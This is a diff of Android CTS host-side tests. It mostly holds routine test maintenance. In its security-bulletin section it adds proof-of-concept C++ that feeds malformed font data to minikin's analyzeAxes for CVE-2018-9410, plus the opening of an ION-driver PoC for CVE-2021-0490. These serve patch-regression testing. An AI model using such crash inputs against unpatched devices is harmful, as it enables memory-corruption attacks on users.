- "testSetApplicationRestrictions");
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
- .setAdminPackageName(DEVICE_ADMIN_PKG)
- .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
- .build());
- } finally {
- changeApplicationRestrictionsManagingPackage(null);
- }
- }
-
/**
* Returns a list of delegation tests that should run. Add delegations tests applicable to both
* device owner and profile owners to this method directly. DO or PO specific tests should be
@@ -351,24 +284,17 @@
/**
* General instructions to add a new delegation test:
- * 1. Test primary delegation functionalitiy
- * Implement the delegate's positive/negate functionaility tests in a new test class
- * in CtsDelegateApp.apk. Main entry point are {@code testCanAccessApis} and
- * {@code testCannotAccessApis}. Once implemented, add the delegation scope and the test
- * class name to {@link #getDelegationScopes}, {@link #getDelegationTests} to make the test
- * run on DO/PO/PO on primary user. If the test should only run on a subset of these
- * combinations, add them to the subclass's {@link #getAdditionalDelegationScopes} and
- * {@link #getDelegationScopes} intead.
- * <p>Alternatively, create a separate hostside method to drive the test, similar to
- * {@link #testDelegationCertSelection}. This is preferred if the delegated functionalities
- * already exist in another app.
- * 2. Test access control of DO-only delegation
- * Add the delegation scope to
- * {@code DelegationTest#testDeviceOwnerOnlyDelegationsOnlyPossibleToBeSetByDeviceOwner} to
- * test that only DO can delegate this scope.
- * 3. Test behaviour of exclusive delegation
- * Add the delegation scope to {@code DelegationTest#testExclusiveDelegations} to test that
- * the scope can only be delegatd to one app at a time.
+ *
+ * <p>Implement the delegate's positive/negate functionaility tests in a new test class
+ * in CtsDelegateApp.apk. Main entry point are {@code testCanAccessApis} and
+ * {@code testCannotAccessApis}. Once implemented, add the delegation scope and the test
+ * class name to {@link #getDelegationScopes}, {@link #getDelegationTests} to make the test
+ * run on DO/PO/PO on primary user. If the test should only run on a subset of these
+ * combinations, add them to the subclass's {@link #getAdditionalDelegationScopes} and
+ * {@link #getDelegationScopes} instead.
+ * <p>Alternatively, create a separate hostside method to drive the test, similar to
+ * {@link #testDelegationCertSelection}. This is preferred if the delegated functionalities
+ * already exist in another app.
*/
@Test
public void testDelegation() throws Exception {
@@ -397,9 +323,6 @@
setDelegatedScopes(DELEGATE_APP_PKG, null);
executeDelegationTests(delegationTests, false /* negative result */);
- // Additional delegation tests.
- executeDeviceTestClass(".DelegationTest");
-
} finally {
// Remove any remaining delegations.
setDelegatedScopes(DELEGATE_APP_PKG, null);
@@ -598,7 +521,7 @@
}
@Test
- @FlakyTest(bugId = 187862351)
+ @FlakyTest(bugId = 205194911)
public void testPermissionPrompts() throws Exception {
installAppPermissionAppAsUser();
executeDeviceTestMethod(".PermissionsTest", "testPermissionPrompts");
@@ -783,6 +706,8 @@
reason = "Will be migrated to new test infra")
@Test
public void testDelegatedCertInstallerDirectly() throws Exception {
+ assumeTrue(mHasAttestation);
+
setUpDelegatedCertInstallerAndRunTests(() ->
runDeviceTestsAsUser("com.android.cts.certinstaller",
".DirectDelegatedCertInstallerTest", mUserId));
@@ -794,6 +719,8 @@
reason = "Will be migrated to new test infra")
@Test
public void testSetKeyGrant() throws Exception {
+ assumeTrue(mHasAttestation);
+
// Install an app
installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -1320,7 +1247,10 @@
@TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
reason = "Will be migrated to new test infra")
@Test
+ // TODO(b/198408853): Migrate
public void testGenerateKeyPairLogged() throws Exception {
+ assumeTrue(mHasAttestation);
+
assertMetricsLogged(getDevice(), () -> {
executeDeviceTestMethod(
".KeyManagementTest", "testCanGenerateKeyPairWithKeyAttestation");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index fc638aa..17c2d48 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -832,6 +832,7 @@
}
@Test
+ @Ignore("b/204508654")
public void testSetUserControlDisabledPackages_multiUser_reboot_verifyPackageNotStopped()
throws Exception {
assumeCanCreateAdditionalUsers(1);
@@ -879,7 +880,7 @@
// done in tear down.
}
} finally {
- setStopBgUsersOnSwitchProperty(stopBgUsersOnSwitchValue);
+ setStopBgUsersOnSwitchProperty(stopBgUsersOnSwitchValue);
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 7bae4e8..75af1c8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -115,15 +115,6 @@
"testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
}
- @FlakyTest
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197907379",
- reason = "Will be migrated to new test infra")
- public void testCaCertManagement() throws Exception {
- super.testCaCertManagement();
- }
-
@FlakyTest(bugId = 141161038)
@Override
@Test
@@ -131,15 +122,6 @@
super.testCannotRemoveUserIfRestrictionSet();
}
- @FlakyTest
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197907379",
- reason = "Will be migrated to new test infra")
- public void testInstallCaCertLogged() throws Exception {
- super.testInstallCaCertLogged();
- }
-
@FlakyTest(bugId = 137088260)
@Test
public void testWifi() throws Exception {
@@ -160,14 +142,6 @@
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "189268544",
- reason = "Will be migrated to new test infra")
- public void testApplicationRestrictions() throws Exception {
- super.testApplicationRestrictions();
- }
-
- @Override
- @Test
@TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
reason = "Will be migrated to new test infra")
public void testAccountManagement_userRestrictionAddAccount() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 2c8c548..a936df2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -261,13 +261,6 @@
@FlakyTest
@Override
@Test
- public void testCaCertManagement() throws Exception {
- super.testCaCertManagement();
- }
-
- @FlakyTest
- @Override
- @Test
public void testDelegatedCertInstaller() throws Exception {
super.testDelegatedCertInstaller();
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index 7f0e7bb..40a267a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -65,20 +65,6 @@
}
@Override
- @FlakyTest
- @Test
- public void testCaCertManagement() throws Exception {
- super.testCaCertManagement();
- }
-
- @Override
- @FlakyTest
- @Test
- public void testInstallCaCertLogged() throws Exception {
- super.testInstallCaCertLogged();
- }
-
- @Override
@LargeTest
@Test
public void testPackageInstallUserRestrictions() throws Exception {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index a94ceea..7df340d 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -136,6 +136,10 @@
return -1;
}
+ protected void assumeGuestDoesNotExist() throws Exception {
+ assumeTrue("Device already has a guest user", getGuestUser() == -1);
+ }
+
protected void assumeIsAutomotive() throws Exception {
assumeTrue("Device does not have " + FEATURE_AUTOMOTIVE,
getDevice().hasFeature(FEATURE_AUTOMOTIVE));
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 4f19d81..bd3ed1b 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -34,6 +34,10 @@
@Test
public void testCanCreateGuestUser() throws Exception {
+ // The device may already have a guest present if it is configured with
+ // config_guestUserAutoCreated. If so, skip the test.
+ assumeGuestDoesNotExist();
+
createGuestUser();
}
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
index 3038849..955a078 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
@@ -38,7 +38,7 @@
internal fun DeviceState.getWorkDevicePolicyManager() =
profileOwner(workProfile(DeviceState.UserType.PRIMARY_USER))!!
- .app().devicePolicyManager()
+ .devicePolicyManager()
internal fun <T> withUserContext(user: UserReference, block: (context: Context) -> T) =
TestApis.permissions()
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 3c105ee..95b86f5 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -29,6 +29,11 @@
<option name="install-arg" value="-t" />
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CtsDomainVerificationTestDeclaringApp1.apk->/data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk" />
+ </target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest">
<option name="package"
value="com.android.cts.packagemanager.verify.domain.device.standalone" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index fab5eb3..1861010 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,7 @@
package com.android.cts.packagemanager.verify.domain.device.standalone
import android.content.pm.verify.domain.DomainVerificationUserState
+import com.android.compatibility.common.util.SystemUtil
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
import com.android.cts.packagemanager.verify.domain.android.DomainVerificationIntentTestBase
@@ -74,6 +75,38 @@
}
@Test
+ fun launchSelectedPreservedOnUpdate() {
+ setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
+ setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+ val hostToStateMapBefore = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+ ?.hostToStateMap
+
+ assertThat(hostToStateMapBefore?.get(DOMAIN_1))
+ .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+ assertThat(hostToStateMapBefore?.get(DOMAIN_2))
+ .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+
+ assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+ assertThat(
+ SystemUtil.runShellCommand(
+ "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+ ).trim()
+ ).isEqualTo("Success")
+
+ val hostToStateMapAfter = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+ ?.hostToStateMap
+
+ assertThat(hostToStateMapAfter?.get(DOMAIN_1))
+ .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+ assertThat(hostToStateMapAfter?.get(DOMAIN_2))
+ .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+
+ assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+ }
+
+ @Test
fun verifiedOverSelected() {
setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
@@ -130,6 +163,25 @@
}
@Test
+ fun disableHandlingWhenVerifiedPreservedOnUpdate() {
+ setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
+
+ assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+ setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+ assertResolvesTo(browsers)
+
+ assertThat(
+ SystemUtil.runShellCommand(
+ "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+ ).trim()
+ ).isEqualTo("Success")
+
+ assertResolvesTo(browsers)
+ }
+
+ @Test
fun disableHandlingWhenSelected() {
setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
@@ -139,4 +191,23 @@
assertResolvesTo(browsers)
}
+
+ @Test
+ fun disableHandlingWhenSelectedPreservedOnUpdate() {
+ setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+ assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+ setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+ assertResolvesTo(browsers)
+
+ assertThat(
+ SystemUtil.runShellCommand(
+ "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+ ).trim()
+ ).isEqualTo("Success")
+
+ assertResolvesTo(browsers)
+ }
}
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
index 4755b10..7930580 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
@@ -47,7 +47,9 @@
File nativeLibDir = new File(mContext.getApplicationInfo().nativeLibraryDir);
Assert.assertTrue(nativeLibDir.exists());
Assert.assertTrue(nativeLibDir.isDirectory());
- Assert.assertTrue(nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
+ Assert.assertTrue("Native lib dir: " + nativeLibDir.getAbsolutePath()
+ + " does not end with: " + expectedSubDir,
+ nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
Assert.assertEquals(1, nativeLibDir.list().length);
}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
index 876b1ee..a67c83d 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
@@ -58,6 +58,8 @@
@Override
public void setUp() throws Exception {
+ // Skip the test if the requested test ABI is 32 bit (that defeats the purpose of this test)
+ assumeTrue(AbiUtils.getBitness(getAbi().getName()).equals("64"));
final String deviceAbi = getDeviceAbi();
final Set<String> deviceAbis = getDeviceAbis();
final Set<String> apkAbis = getApkAbis();
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
index 129986b..e1dcea4 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
@@ -177,7 +177,7 @@
* @return an ABI string from AbiUtils.ABI_*
* @return an ABI string from AbiUtils.ABI_*
*/
- final String getExpectedLibAbi(String abiSuffix) throws Exception {
+ final String getExpectedLibAbi(String abiSuffix) {
final String testAbi = getAbi().getName();
final String testBitness = AbiUtils.getBitness(testAbi);
final String libBitness;
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
index ca82dec..d5ca4f7 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
@@ -23,6 +23,8 @@
import android.cts.host.utils.DeviceJUnit4Parameterized;
import android.platform.test.annotations.AppModeFull;
+import com.android.tradefed.util.AbiUtils;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -72,6 +74,11 @@
// Skip incremental installations for non-incremental devices
assumeTrue(isIncrementalInstallSupported());
}
+ // Skip 64 bit tests if the test requires 32 bit ABI
+ final boolean isTest32Bit = AbiUtils.getBitness(getAbi().getName()).equals("32");
+ if (isTest32Bit) {
+ assumeTrue(mAbiSuffix.equals("32"));
+ }
if (!mAbiSuffix.equals("Both")) {
// Skip tests for unsupported abi suffixes.
assumeTrue(getDeviceAbiSuffixes().contains(mAbiSuffix));
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
index 9ad35f1..0450f54 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
@@ -23,6 +23,8 @@
import android.cts.host.utils.DeviceJUnit4Parameterized;
import android.platform.test.annotations.AppModeFull;
+import com.android.tradefed.util.AbiUtils;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -77,6 +79,8 @@
@Override
public void setUp() throws Exception {
+ // Skip the test if the requested test ABI is 32 bit (that defeats the purpose of this test)
+ assumeTrue(AbiUtils.getBitness(getAbi().getName()).equals("64"));
if (mIsIncremental) {
// Skip incremental installations for non-incremental devices
assumeTrue(isIncrementalInstallSupported());
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 11be8cb..3223f46 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -408,7 +408,9 @@
private void assumeSecurityModelCompat() throws Exception {
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+ final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+ PropertyUtil.getVendorApiLevel(mDevice));
+ if (firstApiLevel >= 31) {
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
}
diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
index d9da47a..1351be9 100644
--- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
+++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
@@ -70,7 +70,9 @@
private void assumeSecurityModelCompat() throws Exception {
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+ final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+ PropertyUtil.getVendorApiLevel(mDevice));
+ if (firstApiLevel >= 31) {
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
}
diff --git a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
index 6122e09..35a9942 100644
--- a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
+++ b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
@@ -89,7 +89,9 @@
private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel(mDevice) >= ANDROID_S_API_LEVEL) {
+ final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+ PropertyUtil.getVendorApiLevel(mDevice));
+ if (firstApiLevel >= ANDROID_S_API_LEVEL) {
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 7fc8431..3ec96e3 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -189,7 +189,9 @@
private void assumeSecurityModelCompat() throws Exception {
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+ final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+ PropertyUtil.getVendorApiLevel(mDevice));
+ if (firstApiLevel >= 31) {
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
similarity index 65%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
index c67488d..e28a3a7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
@@ -20,32 +20,22 @@
}
cc_test {
- name: "CVE-2021-0684",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- header_libs: [
- "libbatteryservice_headers",
+ name: "CVE-2018-9410",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
],
srcs: [
"poc.cpp",
- "TestInputListener.cpp",
":cts_hostsidetests_securitybulletin_memutils",
],
+ shared_libs: [
+ "libminikin",
+ ],
+ header_libs: [
+ "libminikin-headers-for-tests",
+ ],
cflags: [
"-DCHECK_OVERFLOW",
- "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
- "-Wno-unused-parameter",
- ],
- static_libs: [
- "libinputdispatcher",
- ],
- shared_libs: [
- "libinputflinger_base",
- "libinputreader",
- "libinputflinger",
- "libinputreader",
- "libbase",
- "libinput",
- "liblog",
- "libutils",
+ "-DENABLE_SELECTIVE_OVERLOADING",
],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
new file mode 100644
index 0000000..a150fd4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <FontUtils.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using namespace minikin;
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit (EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ uint8_t majorVersion = 1;
+ uint8_t minorVersion = 0;
+ uint8_t axisOffset = 0x10;
+ uint8_t axisCount = 0xFF;
+ uint8_t axisSize = 0x14;
+
+ size_t allocatedSize = sizeof(uint8_t) * 16;
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t* fvarData = (uint8_t*) malloc(allocatedSize);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fvarData);
+ memset(fvarData, 0x0, allocatedSize);
+
+ fvarData[1] = majorVersion;
+ fvarData[3] = minorVersion;
+ fvarData[5] = axisOffset;
+ fvarData[8] = axisCount;
+ fvarData[9] = axisCount;
+ fvarData[11] = axisSize;
+
+ size_t fvarSize = axisOffset + axisOffset * ((axisCount << 8) | axisCount);
+ std::unordered_set < uint32_t > axes;
+ isTestInProgress = true;
+ analyzeAxes(fvarData, fvarSize, &axes);
+ isTestInProgress = false;
+ free(fvarData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
new file mode 100644
index 0000000..2895e89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0490",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp",],
+ shared_libs: [
+ "libnfc-nci",
+ "liblog",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
new file mode 100644
index 0000000..04a9c99
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
@@ -0,0 +1,387 @@
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <sys/uio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <err.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <log/log.h>
+
+#define FAIL_CHECK_ALOGE(condition, error_message) \
+ if (!(condition)) { \
+ ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
+ __LINE__); \
+ exit(EXIT_FAILURE); \
+ }
+
+typedef unsigned int u32;
+typedef unsigned long u64;
+
+#define ION_IOC_MAGIC 'I'
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
